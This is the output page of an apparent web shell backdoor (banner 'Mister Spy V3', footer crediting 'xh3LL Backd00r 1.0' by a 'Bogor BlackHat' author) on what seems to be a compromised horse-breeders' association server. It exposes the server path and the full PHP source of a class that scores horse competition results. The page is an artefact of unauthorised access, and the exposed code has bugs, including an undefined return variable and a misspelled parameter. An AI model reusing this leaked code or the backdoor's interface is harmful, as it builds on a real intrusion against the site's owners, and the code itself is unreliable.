Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.inscripcionresultadosmarcha.php

<?php 

require_once('class.dbaccess.php');
require_once('class.inscripcionresultadomarcha.php');
require_once('class.filter.php');
require_once('class.page.php');

class InscripcionResultadosMarcha extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		return $sql;
	}


	public function GetPagesCount(Page $oPage, array $filter = NULL)
	{	
		$Count = $this->GetCountRows($filter);

		$Count = $Count / $oPage->Size;
		
		return ceil($Count);
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblInscripcionResultadosMarcha";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oInscripcionResultadoMarcha = new InscripcionResultadoMarcha();
			$oInscripcionResultadoMarcha->ParseFromArray($oRow);
			
			array_push($arr, $oInscripcionResultadoMarcha);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetById($IdInscripcion, $IdPuntaje)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblInscripcionResultadosMarcha";
		$sql.= " WHERE IdInscripcion = " . DB::Number($IdInscripcion);	
		$sql.= " AND IdPuntaje = " . DB::Number($IdPuntaje);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oInscripcionResultadoMarcha = new InscripcionResultadoMarcha();
		$oInscripcionResultadoMarcha->ParseFromArray($oRow);
		
		return $oInscripcionResultadoMarcha;		
	}


	public function GetJineteByInscripcion(Inscripcion $oInscripcion)
	{
		$sql = "SELECT * ";
		$sql.= " FROM tblInscripcionResultadosMarcha irm";
		$sql.= " INNER JOIN tblPuntajesMarcha pm ON irm.IdPuntaje = pm.IdPuntaje";
		$sql.= " WHERE irm.IdInscripcion = " . DB::Number($oInscripcion->IdInscripcion);	
		$sql.= " GROUP BY irm.IdJinete";	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oInscripcionResultadoMarcha = new InscripcionResultadoMarcha();
		$oInscripcionResultadoMarcha->ParseFromArray($oRow);
		
		return $oInscripcionResultadoMarcha;		
	}
	
	
	public function GetPuntajeByInscripcion(Inscripcion $oInscripcion)
	{
		$sql = "SELECT SUM(pm.Puntaje) AS Puntaje";
		$sql.= " FROM tblInscripcionResultadosMarcha irm";
		$sql.= " INNER JOIN tblPuntajesMarcha pm ON irm.IdPuntaje = pm.IdPuntaje";
		$sql.= " INNER JOIN tblPremiosMarcha prm ON pm.IdPremio = prm.IdPremio";
		$sql.= " WHERE irm.IdInscripcion = " . DB::Number($oInscripcion->IdInscripcion);	
		$sql.= " AND prm.IdTipoCalculo = " . DB::Number(InscripcionResultadoMarcha::Puntaje);
			
		$Puntaje = 0;
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return $Puntaje;

		$Puntaje = $oRow['Puntaje'];		
		
		return $Puntaje;		
	}


	public function GetAllMaximosByPropietarioCalendario(Propietario $oPropietario, Calendario $oCalendario, $Cantidad = 0)
	{		
		$sql = " SELECT irm.*,";
		$sql.= " ia.Tabla,";
		$sql.= " ia.IdAnimal,";
		$sql.= " ipm.Puntaje AS Puntaje";
		$sql.= " FROM tblInscripcionResultadosMarcha irm";
		$sql.= " INNER JOIN tblInscripcionAnimales ia ON irm.IdInscripcion = ia.IdInscripcion";
		$sql.= " INNER JOIN tblEventos e ON ia.IdEvento = e.IdEvento";
		$sql.= " INNER JOIN tblPuntajesMarcha ipm ON irm.IdPuntaje = ipm.IdPuntaje";
		$sql.= " INNER JOIN tblPremiosMarcha prm ON ipm.IdPremio = prm.IdPremio";
		$sql.= " INNER JOIN tblCalendarios c ON (c.FechaDesde <= e.EventoDesdeFecha AND c.FechaHasta >= e.EventoDesdeFecha)";
		$sql.= " WHERE c.IdCalendario = " . DB::Number($oCalendario->IdCalendario);
		$sql.= " AND ia.IdPropietario = " . DB::Number($oPropietario->IdPropietario);
		$sql.= " GROUP BY ia.Sba, ia.IdEvento";
		$sql.= " ORDER BY Puntaje DESC, ia.IdInscripcion DESC";
		if ($Cantidad > 0)
			$sql.= " LIMIT " . DB::Number($Cantidad);

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arrAux = array();

		/* calculamos los puntajes por rusticidad */
		while ($oRow = $oRes->GetRow())	
		{
			$oRow['Puntaje'] = $this->GetPuntajeRusticidad($oRow['IdInscripcion'], $oRow['Puntaje']);
			
			array_push($arrAux, $oRow);
			
			$oRes->MoveNext();
		}	

		/* reordenamos el listado */
		foreach ($arrAux as $oRow)	
			usort($arrAux, array($this, 'CompararPuntaje'));

		$arrAux2 = array();

		/* eliminamos los animales duplicados */
		foreach ($arrAux as $oRow)	
		{	
			if (!($this->ExistsOnArray($oRow, $arrAux2)))
				array_push($arrAux2, $oRow);
		}	
			
		$arr = array();

		/* armamos el listado final */
		foreach ($arrAux2 as $oRow)	
		{	
			$oInscripcionResultadoMarcha = new InscripcionResultadoMarcha();
			$oInscripcionResultadoMarcha->ParseFromArray($oRow);
			
			array_push($arr, $oInscripcionResultadoMarcha);
		}	

		/* dejamos en el listado solo la cantidad especificada */
		if ($Cantidad > 0)
			for ($i=count($arr); $i>=$Cantidad; $i--)
				unset($arr[$i]);

		return $arr;
	}


	public function GetAllMaximosByCriadorCalendario(Propietario $oPropietario, Calendario $oCalendario, $Cantidad = 0)
	{
		$sql = " SELECT irm.*,";
		$sql.= " a.Tabla,";
		$sql.= " a.IdAnimal,";
		$sql.= " ipm.Puntaje AS Puntaje";
		$sql.= " FROM tblInscripcionResultadosMarcha irm";
		$sql.= " INNER JOIN tblInscripcionAnimales a ON irm.IdInscripcion = a.IdInscripcion";
		$sql.= " INNER JOIN tblEventos e ON a.IdEvento = e.IdEvento";
		$sql.= " INNER JOIN tblPuntajesMarcha ipm ON irm.IdPuntaje = ipm.IdPuntaje";
		$sql.= " INNER JOIN tblPremiosMarcha prm ON ipm.IdPremio = prm.IdPremio";
		$sql.= " WHERE e.Eliminado = '0'";
		$sql.= " AND a.Estado <> '0'";
		$sql.= " AND e.ResultadosSupervisados = '1'";
		$sql.= " AND prm.IdTipoCalculo = " . DB::Number(InscripcionResultadoMarcha::Puntaje);
		$sql.= " AND a.IdCriador = " . DB::Number($oPropietario->IdPropietario);
		$sql.= " AND e.EventoDesdeFecha >= " . DB::Date($oCalendario->FechaDesde);
		$sql.= " AND e.InscripcionHastaFecha <= " . DB::Date($oCalendario->FechaHasta);
		$sql.= " ORDER BY Puntaje DESC, a.IdInscripcion DESC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arrAux = array();

		/* calculamos los puntajes por rusticidad */
		while ($oRow = $oRes->GetRow())	
		{
			$oRow['Puntaje'] = $this->GetPuntajeRusticidad($oRow['IdInscripcion'], $oRow['Puntaje']);
			
			array_push($arrAux, $oRow);
			
			$oRes->MoveNext();
		}	

		/* reordenamos el listado */
		foreach ($arrAux as $oRow)	
			usort($arrAux, array($this, 'CompararPuntaje'));

		$arrAux2 = array();

		/* eliminamos los animales duplicados */
		foreach ($arrAux as $oRow)	
		{	
			if (!($this->ExistsOnArray($oRow, $arrAux2)))
				array_push($arrAux2, $oRow);
		}	
			
		$arr = array();

		/* armamos el listado final */
		foreach ($arrAux2 as $oRow)	
		{	
			$oInscripcionResultadoMarcha = new InscripcionResultadoMarcha();
			$oInscripcionResultadoMarcha->ParseFromArray($oRow);
			
			array_push($arr, $oInscripcionResultadoMarcha);
		}	

		/* dejamos en el listado solo la cantidad especificada */
		if ($Cantidad > 0)
			for ($i=count($arr); $i>=$Cantidad; $i--)
				unset($arr[$i]);

		return $arr;
	}
	
	
	public function GetAllMaximosByJineteCalendario(Jinete $oJinete, Calendario $oCalendario, $Cantidad = 0)
	{
		$sql = " SELECT irm.*,";
		$sql.= " a.Tabla,";
		$sql.= " a.IdAnimal,";
		$sql.= " ipm.Puntaje AS Puntaje";
		$sql.= " FROM tblInscripcionResultadosMarcha irm";
		$sql.= " INNER JOIN tblInscripcionAnimales a ON irm.IdInscripcion = a.IdInscripcion";
		$sql.= " INNER JOIN tblEventos e ON a.IdEvento = e.IdEvento";
		$sql.= " INNER JOIN tblPuntajesMarcha ipm ON irm.IdPuntaje = ipm.IdPuntaje";
		$sql.= " INNER JOIN tblPremiosMarcha prm ON ipm.IdPremio = prm.IdPremio";
		$sql.= " WHERE e.Eliminado = '0'";
		$sql.= " AND a.Estado <> '0'";
		$sql.= " AND e.ResultadosSupervisados = '1'";
		$sql.= " AND prm.IdTipoCalculo = " . DB::Number(InscripcionResultadoMarcha::Puntaje);
		$sql.= " AND irm.IdJinete = " . DB::Number($oJinete->IdJinete);
		$sql.= " AND e.EventoDesdeFecha >= " . DB::Date($oCalendario->FechaDesde);
		$sql.= " AND e.InscripcionHastaFecha <= " . DB::Date($oCalendario->FechaHasta);
		$sql.= " ORDER BY Puntaje DESC, a.IdInscripcion DESC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arrAux = array();

		/* calculamos los puntajes por rusticidad */
		while ($oRow = $oRes->GetRow())	
		{
			$oRow['Puntaje'] = $this->GetPuntajeRusticidad($oRow['IdInscripcion'], $oRow['Puntaje']);
			
			array_push($arrAux, $oRow);
			
			$oRes->MoveNext();
		}	

		/* reordenamos el listado */
		foreach ($arrAux as $oRow)	
			usort($arrAux, array($this, 'CompararPuntaje'));

		$arrAux2 = array();

		/* eliminamos los animales duplicados */
		foreach ($arrAux as $oRow)	
		{	
			if (!($this->ExistsOnArray($oRow, $arrAux2)))
				array_push($arrAux2, $oRow);
		}	
			
		$arr = array();

		/* armamos el listado final */
		foreach ($arrAux2 as $oRow)	
		{	
			$oInscripcionResultadoMarcha = new InscripcionResultadoMarcha();
			$oInscripcionResultadoMarcha->ParseFromArray($oRow);
			
			array_push($arr, $oInscripcionResultadoMarcha);
		}	

		/* dejamos en el listado solo la cantidad especificada */
		if ($Cantidad > 0)
			for ($i=count($arr); $i>=$Cantidad; $i--)
				unset($arr[$i]);

		return $arr;
	}

	
	public function CompararPuntaje($oRow1, $oRow2)
	{
		if ($oRow1['Puntaje'] == $oRow2['Puntaje'])
			return 0;
		else if ($oRow1['Puntaje'] > $oRow2['Puntaje'])
			return -1;
		else
			return 1;
	}


	public function GetPuntajeRusticidad($IdInscripcion, $Puntaje)
	{
		$sql = " SELECT ( " . $Puntaje . " * ipm.Puntaje / 100) AS PuntajeProporcional";
		$sql.= " FROM tblInscripcionResultadosMarcha irm";
		$sql.= " INNER JOIN tblInscripcionAnimales a ON irm.IdInscripcion = a.IdInscripcion";
		$sql.= " INNER JOIN tblEventos e ON a.IdEvento = e.IdEvento";
		$sql.= " INNER JOIN tblPuntajesMarcha ipm ON irm.IdPuntaje = ipm.IdPuntaje";
		$sql.= " INNER JOIN tblPremiosMarcha prm ON ipm.IdPremio = prm.IdPremio";
		$sql.= " WHERE e.Eliminado = '0'";
		$sql.= " AND a.Estado <> '0'";
		$sql.= " AND e.ResultadosSupervisados = '1'";
		$sql.= " AND prm.IdTipoCalculo = " . DB::Number(InscripcionResultadoMarcha::Porcentaje);
		$sql.= " AND a.IdInscripcion = " . DB::Number($IdInscripcion);
		$sql.= " ORDER BY Puntaje DESC, a.IdInscripcion DESC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		while ($oRow = $oRes->GetRow())	
		{
			$Puntaje += $oRow['PuntajeProporcional'];

			$oRes->MoveNext();
		}

		return $Puntaje;			
	}


	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblInscripcionResultadosMarcha";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(InscripcionResultadoMarcha $oInscripcionResultadoMarcha)
	{
		$arr = array
		(
			'IdInscripcion' => DB::Number($oInscripcionResultadoMarcha->IdInscripcion),
			'IdPuntaje' 	=> DB::Number($oInscripcionResultadoMarcha->IdPuntaje),
			'IdJinete' 		=> DB::Number($oInscripcionResultadoMarcha->IdJinete)
		);
		
		if (!$this->Insert('tblInscripcionResultadosMarcha', $arr))
			return false;
			
		return $oInscripcionResultadoMarcha;
	}
	
	
	public function Update(InscripcionResultadoMarcha $oInscripcionResultadoMarcha)
	{
		$where = " IdInscripcion = " . DB::Number($oInscripcionResultadoMarcha->IdInscripcion);
		$where.= " AND IdPuntaje = " . DB::Number($oInscripcionResultadoMarcha->IdPuntaje);
		
		$arr = array('IdJinete' => DB::Number($oInscripcionResultadoMarcha->IdJinete));		
		
		if (!DBAccess::Update('tblInscripcionResultadosMarcha', $arr, $where))
			return false;
		
		return $oPelo;
	}
	

	public function Delete($IdInscripcion, $IdPuntjae)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdInscripcion = " . DB::Number($IdInscripcion);
		$where.= " AND IdPuntaje = " . DB::Number($IdPuntaje);

		if (!DBAccess::Delete('tblInscripcionResultadosMarcha', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
	

	public function DeleteAll($IdInscripcion)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdInscripcion = " . DB::Number($IdInscripcion);

		if (!DBAccess::Delete('tblInscripcionResultadosMarcha', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}


	private function ExistsOnArray(array $oRow, array $arrMaximos)
	{
		for ($i=0; $i<count($arrMaximos); $i++)
		{
			if (($oRow['Tabla'] == $arrMaximos[$i]['Tabla']) && ($oRow['IdAnimal'] == $arrMaximos[$i]['IdAnimal']))
				return true;
		}
		
		return false;
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat